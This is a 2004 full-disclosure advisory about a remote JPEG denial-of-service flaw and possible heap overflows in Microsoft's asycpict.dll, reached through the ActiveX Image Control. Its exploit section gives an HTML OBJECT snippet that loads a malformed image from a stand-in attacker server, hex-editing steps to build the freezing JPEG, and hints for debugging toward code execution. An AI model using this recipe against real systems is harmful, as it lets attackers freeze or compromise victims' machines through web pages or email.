New Remote Microsoft JPEG DoS Vulnerability + Other Potential Security Vulnerabilitys in asycpict.dll 1.0 Advisory Oct 14 2004 09:29AM
John Bissell (monkey321_1 hotmail com) (1 replies)


| |

| ================================================================= |

| Microsoft asycpict.dll 1.0 Remote JPEG DoS Attack Vulnerability |

| + |

| Multiple Other Possible Security Vulnerabilitys |

| Full Disclosure Advisory |

| ================================================================= |

| |

| ============================================= |

| Discovered by John Bissell A.K.A. HighT1mes |

| ============================================= |

| |


Date This Advisory Was Released:


October, 14, 2004



- High (DoS Attack, possibly Remote Code Execution)

Platforms Affected:


- WinXP (all service packs)

- Possibly all other verions of Windows OS

after Win 3.1 since this is a really old dll



Sadly there is yet another JPEG image processing security vulnerability in Microsoft Windows that can be exploited remotely by malicious web page or email on all WinXP systems (actually most likely on ALL Windows systems above Windows 3.1) including WinXP with SP2 that can cause a DoS on a system which will need to be rebooted in order to continue using the system. I only describe in detail the proven DoS vulnerability I found but there is in reality many other vulnerabilitys in this dll that look very exploitable. I describe a few of them below that could possibly allow the worst to happen. Remote code execution...

While messing around about a week or two ago with old Microsoft

ActiveX controls I came upon a nasty DoS attack that will eat up all

of a victims RAM for a system that has been exploited by this particular

security vulnerability in the asycpict.dll 1.0. If you or someone is exploited by this vulnerability then there whole WinXP (all service packs) system will become almost completely frozen (even after closing the exploited program). This will of course require some form of a reboot to free up the system RAM and make the system useable again.

There are also many other potential security vulnerabilitys

lurking inside of this insecure dll that may possibly lead to complete

remote system takeover. These vulnerabilitys if exploitable (including

the proved DoS attack above) could be exploited in a web page on a web server by getting a victim to somehow view the page in IE 6.0 (possibly all IE versions are affected that can make use of ActiveX controls).

Another attack vector is of course in a email message that affects email clients that can use ActiveX controls in there email. And I know there is tons of people out there who use Outlook or OE and get tired of viewing limited, less featurefull emails because of the Restricted Zone setting that is enabled by default in the latest OE clients. So they switch the setting to the Internet Zone rather. Just do a google search for all the complaints when viewing email in one of these email clients. I'm sure people out there want to at least be able to click there friend's links sent through email. When the Restricted Zone security setting is set then you can't even do that...

Remote DoS Vulnerability Details:


I haven't really done in extensive reverse engineering

regarding this vulnerability, although the reason why this issue

occurs. The reason being is a typical problem of asycpict.dll 1.0

(which is the only version of the dll) not doing a sanity check on

the Image Width and Image Height fields of the SOF marker (0xFFC0)

in a JPEG image. In fact all the vulnerabilitys I discovered from

this dll are from NON defensive programming on Microsoft's part back

a couple years ago. Code auditing for flaws and security vulnerabilitys

must not have been a big deal back when ActiveX technology was first

introduced to the masses.

Now as I said above there is another component that I've

found that makes this issue/s remotely exploitable. That would be the

Microsoft ActiveX Image Control 1.0 made a while ago. The control I

just metioned uses the vulnerable asycpict.dll module to load images

it supports into the control for display. To exploit the victim the

attacker can make a malicious HTML file and JPEG image that exploits

this vulnerability and host them on a web server or embed the HTML code

in a email message to be sent as a email and put the exploit JPEG on

a web server then send the malicious email message to a victim

who can read email with ActiveX controls (i.e. OE or Outlook).

As soon as the victim that is targeted or whoever executes

that HTML code from the malicious web page or email then the program

will check to see if the ActiveX Image Control is installed already

on the system by checking the registry for a entry/match of the CLSID of

that control. If no match has occured (control is not installed) then

the attacker can set the CODEBASE attribute of the OBJECT HTML tag to

tell the program to try to install and run the control from a

Microsoft web server. The control depending on the victims security

settings for ActiveX will either be automatically downloaded and executed

or a prompt will pop up usually before for systems before WinXP SP2 on the

victims moniter asking him if he/she if they want to install and run the

control which is digitally signed by Microsoft to make the control

look safe to download. WinXP SP2 is still affected by these

vulnerabilitys but of course WinXP SP2 makes it a little harder to get

the control installed and/or running on the victims computer.

Also one other factor plays part in allowing this DoS attack

to occur remotely. The property PicturePath that is a part of the

Microsoft ActiveX Image Control mentioned above can be set to any

valid remote URL that points to the malformed image so when the victim

executes the HTML the ActiveX control will use that remote image. Of

course this will trigger the DoS Attack on the victims system. No need

to use some other MS vulnerability to try and link the PicturePath

property with a cached or locally stored malformed JPEG image on the

victims harddrive that was viewed in some way by the victim.

How To Exploit The Remote DoS Vulnerability:


To exploit this issue first of all the attacker needs to

craft a malicious HTML file like the following...



<TITLE>Think of something clever!</TITLE>



<OBJECT ID="ExploitImage" WIDTH="96" HEIGHT="96"



<PARAM NAME="BorderStyle" VALUE="0">

<PARAM NAME="SizeMode" VALUE="3">

<PARAM NAME="Size" VALUE="2540;2540">

<PARAM NAME="PicturePath" VALUE="http://www.attackerzserver.com/freeze_system.jpg">

<PARAM NAME="PictureAlignment" VALUE="0">

<PARAM NAME="VariousPropertyBits" VALUE="19">




Next create or use a existing JPEG image for exploiting the problem.

Open the image in a hex editor (I like Hex Workshop) and do a hex byte search for the bytes 0xFFC0 in the image. This will put you right at a nice little SOF marker in the image you want to malform. (also possibly search for 0xFFC0 - 0xFFC4 which I believe are also other additional SOF markers, though asycpict.dll might not support those JPEG markers). Now that your at the SOF marker move the hex editor cursor 5 bytes foward. You should be at the Image Dimension fields. Now type in 4 consecutive 0xFF bytes in the hex editor in overwrite mode. Then simply save the edited JPEG image in the hex editor (Look at the JPEG CREATION NOTE below to get a clue why the saved malformed image you just created might not be able to be used for exploiting this security vulnerability).

I'm sure whoever is reading this knows what to do from here.. but

just in case you are partly computer security challenged you will want to

upload the JPEG to some sort of server (FTP, Web, AOL, etc) that can be

referenced in Windows from a URL. Now just replace the PicturePath property in the HTML file included above with the URL to your malformed exploit JPEG image. Save the HTML file you just edited/created and either upload the page to a web server or send the HTML code in a email.

From here you or the victim just needs to execute the malicous

HTML code from the web or in a email and you/they will witness the magical

effects of a remote DoS attack if the program is ActiveX enabled and

the person running the control allows it to be installed or already has

it installed...

If you would quickly like to test if your vulnerable to this DoS attack

you can visit one of the following web pages in the URL's below which will probaly be removed very quickly once traffic starts to pick up on these free test sites from www.tripod.com.

- http://thisisatestpage0.tripod.com/Page2.htm

- http://thisisatestpage1.tripod.com/Page2.htm


If you create a new JPEG image in Photoshop CS and save it to use

as the malformed JPEG then you will have to delete all the embedded EXIF

Photoshop information in the beginning of the image added by Photoshop

with a hex editor as I've learned. For some reason this information will

render the vulnerability useless with that image if that data resides in

the image. This is probaly due to asycpict.dll not being able to process a

specialied JPEG correctly when it contains header information it can't process.

Other Potential Security Vulnerabilitys In asycpict.dll:


There is multiple other flaws/vulnerabilitys in the asycpict.dll 1.0

dll module. They are all caused by bad input sanity checks on JPEG marker

lengths for a bunch of supported JPEG markers by the vulnerable dll.

Some examples of these vulnerabilities that may actually be security

problems are the header length for the SOI marker found at offset 4 of any

normal JPEG. Just mess around with the different length values and then debug to figure if the issue is exploitable.

And then of course naturally with this dll having so many problems

validating file input you would think maybe the new GDI+ JPEG vulnerability is perhaps exploitable. Well it does raise a exception that you can mess around with perhaps leading to heap overflow explotation (since the JPEG resides on the heap) when a attacker crafts a image with this sequence of bytes 0xFF,0xFE,0xFF,0xFF in the image. When this is encountered and processed by the vulnerable dll then it's g4m3 0v3r d00d!

There is also some more bad news regarding this particular comment

invalid length issue in this dll. I have done a little debugging and if you use the above byte sequence in the image right after the 0xFFE0 (SOI) marker (offset 0x14 most likely) you will see that when the exception is triggered by viewing a test HTML page opened locally with the PicturePath property set to the local filepath of the new malformed JPEG image you created that a typical read/write access violation exception will occur. Begin debugging and you might see (if the JPEG is crafted right)

the CPU register EDI or some other register will contain a value that

points to a part of your JPEG image on the heap. Perhaps this is exploitable, as I've said I haven't researched the issue much due to school and other projects I'm working on. Remember the key is crafting a JPEG that is composed of the right markers/headers, file size, etc that this dll likes. The same principle applys equally to the GDI+ JPEG vulnerability that recently came out. The Windows Shell interpets a GDI+ JPEG Exploit image differently then another exploitable program such as Windows Picture and Fax Viewer etc when the image is created with just the right components...

These issues if exploitable would seem to be exploitable through a

finely crafted JPEG image exploiting a heap overflow in the asycpict.dll 1.0 module. Who knows what will be found out in the future about these vulnerabilitys.



One solution to this problem is to turn off all execution of any

ActiveX controls in the program. This solution is likely to not be very popular because you lose functionality in your program/s BTW The HIGH security setting in IE 6.0 doesn't really have much of a effect since this problem takes advantage of a signed Microsoft ActiveX control which IE will cheerfully ask if you want install the safe signed Microsoft control and run it! :-(

Other then that either look out for a upcoming Microsoft patch or

if your skilled enough then patch the problem yourself in some way. I'll leave that up to the computer security community...

Vendor Status:


I alerted Microsoft about a week ago about this

issue and they wanted the details so I gave them to them. I also

asked them to respond back with a few questions I had. They have

not responded back so they either they feel this issue isn't a big

concern or they simply ignored my simple request for a response

to my questions. Soo I feel in my supreme judgement j/k :-P that some

full disclosure is in order.

Pester Microsoft if you fall victim to one of these vulnerablitys.

I know Microsoft is a big company that doesn't have time to deal with every email, but if they could respond to my first email message and won't take a little bit of time to answer a few little questions I have so I'm not left in the dark, then things could have worked out a bit different...



Use of this information constitutes acceptance for use in an AS IS

condition. There are no warranties, implied or express, with regard

to this information. In no event shall the author be liable for any

direct or indirect damages whatsoever arising out of or in connection with

the use or spread of this information. Any use of this information is at

the user's own risk.

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus